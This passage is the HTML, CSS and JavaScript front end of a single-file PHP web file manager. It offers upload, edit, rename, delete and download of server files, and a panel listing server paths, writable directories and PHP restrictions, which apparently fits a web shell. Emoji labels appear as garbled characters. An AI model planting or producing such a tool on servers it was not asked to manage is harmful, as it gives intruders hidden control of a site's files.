justify-content: center;
}
.modal-overlay.active { display: flex; }
.modal-box {
background: #fff;
padding: 28px;
border-radius: 12px;
width: 440px;
max-width: 90%;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.2);
}
.modal-box h3 { margin-bottom: 16px; }
.modal-input {
width: 100%;
padding: 10px 14px;
border: 1px solid var(--color-border);
border-radius: 6px;
font-size: 1rem;
margin: 12px 0;
}
.modal-input:focus {
outline: none;
border-color: var(--color-primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
/* Footer */
.app-footer {
padding: 14px 24px;
background: #f8fafc;
border-top: 1px solid var(--color-border);
text-align: center;
font-size: 0.78rem;
color: var(--color-text-muted);
}
/* Responsive */
@media (max-width: 768px) {
body { padding: 10px; }
.app-header { flex-direction: column; gap: 10px; text-align: center; }
.toolbar { flex-direction: column; align-items: stretch; }
.toolbar-actions { justify-content: center; }
.file-list-table { font-size: 0.75rem; }
.file-list-table .col-perms,
.file-list-table .col-owner { display: none; }
.form-row { flex-direction: column; }
.form-row .btn { width: 100%; justify-content: center; }
}
</style>
</head>
<body>
<div class="app-container">
<!-- Header -->
<header class="app-header">
<h1>đ <?php echo escapeOutput($appConfig['app_name']); ?></h1>
<div class="header-info">
<?php echo escapeOutput(php_uname('s') . ' ' . php_uname('r')); ?><br>
PHP <?php echo PHP_VERSION; ?>
</div>
</header>
<!-- Toolbar -->
<div class="toolbar">
<?php echo buildBreadcrumbs($activeDir, $csrfToken); ?>
<div class="toolbar-actions">
<a href="?" class="btn btn-secondary">đ Files</a>
<a href="?action=upload" class="btn btn-secondary">đ¤ Upload</a>
<a href="?action=create" class="btn btn-secondary">â New</a>
<a href="?action=info" class="btn btn-secondary">âšī¸ Info</a>
<?php if ($hasParentDir): ?>
<a href="?cd=<?php echo urlencode($parentDir); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary">âŦī¸ Up</a>
<?php endif; ?>
</div>
</div>
<!-- Main Content -->
<main class="main-content">
<!-- Status Message -->
<?php if (!empty($statusMessage)): ?>
<div class="status-message status-<?php echo $statusType; ?>">
<?php echo escapeOutput($statusMessage); ?>
</div>
<?php endif; ?>
<?php if ($currentAction === 'upload'): ?>
<!-- Upload Panel -->
<div class="form-panel">
<h3>đ¤ Upload File</h3>
<p style="font-size:0.85rem; color:var(--color-text-muted); margin-bottom:16px;">
Destination: <strong><?php echo escapeOutput($activeDir); ?></strong><br>
Maximum size: <?php echo formatFileSize($appConfig['max_file_size']); ?>
</p>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
<div class="form-row">
<input type="file" name="upload_file" class="form-input" required>
<button type="submit" class="btn btn-primary">Upload</button>
</div>
</form>
</div>
<?php elseif ($currentAction === 'create'): ?>
<!-- Create Panel -->
<div class="form-panel">
<h3>â Create New Item</h3>
<form method="post" style="margin-bottom:16px;">
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
<div class="form-row">
<input type="text" name="new_folder_name" class="form-input" placeholder="New folder name...">
<button type="submit" class="btn btn-primary">đ Create Folder</button>
</div>
</form>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
<div class="form-row">
<input type="text" name="new_file_name" class="form-input" placeholder="New file name (e.g., config.php)...">
<button type="submit" class="btn btn-success">đ Create File</button>
</div>
</form>
</div>
<?php elseif ($currentAction === 'info'): ?>
<!-- System Info Panel -->
<div class="form-panel">
<h3>âšī¸ System Information</h3>
<div class="alert alert-info" style="margin-bottom:20px;">
Server and PHP configuration details for administrative reference.
</div>
<table class="info-table">
<tr>
<td class="label-cell">Server Software</td>
<td><?php echo escapeOutput($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td>
</tr>
<tr>
<td class="label-cell">PHP Version</td>
<td><?php echo PHP_VERSION; ?></td>
</tr>
<tr>
<td class="label-cell">Operating System</td>
<td><?php echo escapeOutput(php_uname()); ?></td>
</tr>
<tr>
<td class="label-cell">Server IP</td>
<td><?php echo escapeOutput($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td>
</tr>
<tr>
<td class="label-cell">Your IP</td>
<td><?php echo escapeOutput($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td>
</tr>
<tr>
<td class="label-cell">Document Root</td>
<td><?php echo escapeOutput($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td>
</tr>
<tr>
<td class="label-cell">Script Location</td>
<td><?php echo escapeOutput(__FILE__); ?></td>
</tr>
<tr>
<td class="label-cell">Current Directory</td>
<td><?php echo escapeOutput($activeDir); ?></td>
</tr>
<tr>
<td class="label-cell">Directory Writable</td>
<td><?php echo is_writable($activeDir) ? '<span style="color:var(--color-success);">â Yes</span>' : '<span style="color:var(--color-danger);">â No</span>'; ?></td>
</tr>
<tr>
<td class="label-cell">Disk Free Space</td>
<td><?php echo formatFileSize(disk_free_space($activeDir)); ?></td>
</tr>
<tr>
<td class="label-cell">Disk Total Space</td>
<td><?php echo formatFileSize(disk_total_space($activeDir)); ?></td>
</tr>
<tr>
<td class="label-cell">upload_max_filesize</td>
<td><?php echo ini_get('upload_max_filesize'); ?></td>
</tr>
<tr>
<td class="label-cell">post_max_size</td>
<td><?php echo ini_get('post_max_size'); ?></td>
</tr>
<tr>
<td class="label-cell">memory_limit</td>
<td><?php echo ini_get('memory_limit'); ?></td>
</tr>
<tr>
<td class="label-cell">max_execution_time</td>
<td><?php echo ini_get('max_execution_time'); ?> seconds</td>
</tr>
<?php
$openBasedir = ini_get('open_basedir');
$disabledFunctions = ini_get('disable_functions');
?>
<tr>
<td class="label-cell">open_basedir</td>
<td><?php echo $openBasedir ? escapeOutput($openBasedir) : '<span style="color:var(--color-success);">Not restricted</span>'; ?></td>
</tr>
<tr>
<td class="label-cell">Disabled Functions</td>
<td style="font-size:0.8rem;"><?php echo $disabledFunctions ? escapeOutput($disabledFunctions) : '<span style="color:var(--color-success);">None</span>'; ?></td>
</tr>
</table>
</div>
<?php elseif ($currentAction === 'view' && !empty($viewContent)): ?>
<!-- View Panel -->
<div class="form-panel">
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:12px;">
<h3>đī¸ Viewing: <?php echo escapeOutput(basename($_GET['view'])); ?></h3>
<div style="display:flex; gap:8px;">
<?php if (isEditableFile($_GET['view'])): ?>
<a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-primary btn-sm">âī¸ Edit</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary btn-sm">đĨ Download</a>
<a href="?" class="btn btn-secondary btn-sm">â Back</a>
</div>
</div>
<?php echo $viewContent; ?>
</div>
<?php elseif ($currentAction === 'edit' && !empty($editFilename)): ?>
<!-- Edit Panel -->
<div class="form-panel">
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:16px; flex-wrap:wrap; gap:12px;">
<h3>âī¸ Editing: <?php echo escapeOutput($editFilename); ?></h3>
<a href="?" class="btn btn-secondary btn-sm">â Back</a>
</div>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
<input type="hidden" name="editing_filename" value="<?php echo escapeOutput($editFilename); ?>">
<input type="hidden" name="save_file_content" value="1">
<textarea name="file_content" class="editor-textarea" id="editorArea"><?php echo escapeOutput($editContent); ?></textarea>
<div class="editor-footer">
<span style="font-size:0.8rem; color:var(--color-text-muted);">
Size: <?php echo formatFileSize(strlen($editContent)); ?> | Lines: <?php echo substr_count($editContent, "\n") + 1; ?>
</span>
<div style="display:flex; gap:10px;">
<a href="?view=<?php echo urlencode($editFilename); ?>&token=<?php echo $csrfToken; ?>" class="btn btn-secondary">đī¸ Preview</a>
<button type="submit" class="btn btn-success">đž Save Changes</button>
</div>
</div>
</form>
</div>
<?php else: ?>
<!-- File Listing -->
<?php if (empty($directoryItems)): ?>
<div class="empty-directory">
<div class="empty-icon">đ</div>
<p>This directory is empty.</p>
<p style="margin-top:10px;">
<a href="?action=upload" class="btn btn-primary">Upload Files</a>
<a href="?action=create" class="btn btn-secondary" style="margin-left:10px;">Create New</a>
</p>
</div>
<?php else: ?>
<div style="overflow-x:auto;">
<table class="file-list-table">
<thead>
<tr>
<th style="width:40%;">Name</th>
<th style="width:12%;">Size</th>
<th class="col-perms" style="width:12%;">Permissions</th>
<th class="col-owner" style="width:14%;">Owner</th>
<th style="width:15%;">Modified</th>
<th style="width:17%;">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($directoryItems as $item): ?>
<tr>
<td class="file-name-cell">
<?php if ($item['is_dir']): ?>
<a href="?cd=<?php echo urlencode($item['path']); ?>&token=<?php echo $csrfToken; ?>">
<span class="file-icon"><?php echo $item['icon']; ?></span>
<?php echo escapeOutput($item['name']); ?>
</a>
<?php else: ?>
<span class="file-icon"><?php echo $item['icon']; ?></span>
<?php echo escapeOutput($item['name']); ?>
<?php endif; ?>
</td>
<td class="size-text">
<?php echo $item['is_dir'] ? '-' : formatFileSize($item['size']); ?>
</td>
<td class="col-perms">
<span class="perms-text"><?php echo $item['perms']; ?></span>
</td>
<td class="col-owner">
<span class="owner-text"><?php echo $item['owner']; ?></span>
</td>
<td class="date-text">
<?php echo date('Y-m-d H:i', $item['mtime']); ?>
</td>
<td>
<div class="file-actions-cell">
<?php if (!$item['is_dir']): ?>
<?php if ($item['is_image']): ?>
<a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đī¸ View</a>
<?php elseif (isEditableFile($item['name'])): ?>
<a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đī¸ View</a>
<a href="?edit=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">âī¸ Edit</a>
<?php else: ?>
<a href="?view=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đī¸ View</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đĨ</a>
<?php else: ?>
<a href="?cd=<?php echo urlencode($item['path']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn">đ Open</a>
<?php endif; ?>
<button onclick="showRenameModal('<?php echo escapeOutput(addslashes($item['name'])); ?>')" class="action-btn">âī¸</button>
<a href="?delete=<?php echo urlencode($item['name']); ?>&token=<?php echo $csrfToken; ?>" class="action-btn delete-btn" onclick="return confirm('Delete \"<?php echo escapeOutput(addslashes($item['name'])); ?>\"?');">đī¸</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<div style="margin-top:16px; padding:12px 16px; background:#f8fafc; border-radius:6px; font-size:0.8rem; color:var(--color-text-muted);">
<?php
$dirCount = 0;
$fileCount = 0;
$totalSize = 0;
foreach ($directoryItems as $item) {
if ($item['is_dir']) {
$dirCount++;
} else {
$fileCount++;
$totalSize += $item['size'];
}
}
echo $dirCount . ' folder' . ($dirCount !== 1 ? 's' : '') . ', ';
echo $fileCount . ' file' . ($fileCount !== 1 ? 's' : '') . ', ';
echo 'Total: ' . formatFileSize($totalSize);
?>
</div>
<?php endif; ?>
<?php endif; ?>
</main>
<!-- Footer -->
<footer class="app-footer">
<?php echo escapeOutput($appConfig['app_name']); ?> v<?php echo $appConfig['version']; ?> |
PHP <?php echo PHP_VERSION; ?> |
© <?php echo date('Y'); ?> System Administrator
</footer>
</div>
<!-- Rename Modal -->
<div class="modal-overlay" id="renameModal">
<div class="modal-box">
<h3>âī¸ Rename Item</h3>
<form method="post" id="renameForm">
<input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
<input type="hidden" name="original_name" id="renameOriginalName" value="">
<p>Original: <strong id="renameDisplayOriginal"></strong></p>
<input type="text" name="new_name" class="modal-input" id="renameNewName" placeholder="Enter new name..." required>
<div class="modal-actions">
<button type="button" class="btn btn-secondary" onclick="closeRenameModal()">Cancel</button>
<button type="submit" class="btn btn-primary">Rename</button>
</div>
</form>
</div>
</div>
<!-- JavaScript -->
<script>
// Rename Modal Functions
function showRenameModal(itemName) {
document.getElementById('renameOriginalName').value = itemName;
document.getElementById('renameDisplayOriginal').textContent = itemName;
document.getElementById('renameNewName').value = itemName;
document.getElementById('renameModal').classList.add('active');
document.getElementById('renameNewName').focus();
document.getElementById('renameNewName').select();
}
function closeRenameModal() {
document.getElementById('renameModal').classList.remove('active');
}
// Close modal on overlay click
document.getElementById('renameModal').addEventListener('click', function(e) {
if (e.target === this) {
closeRenameModal();
}
});
// Close modal on Escape key
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
closeRenameModal();
}
});
// Handle Tab key in editor
document.addEventListener('DOMContentLoaded', function() {
var editor = document.getElementById('editorArea');
if (editor) {
editor.addEventListener('keydown', function(e) {
if (e.key === 'Tab') {
e.preventDefault();
var start = this.selectionStart;
var end = this.selectionEnd;
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
this.selectionStart = this.selectionEnd = start + 4;
}
});
}
});
</script>
</body>
</html>
Size: 63.7 KBType: text/x-phpLines: 1589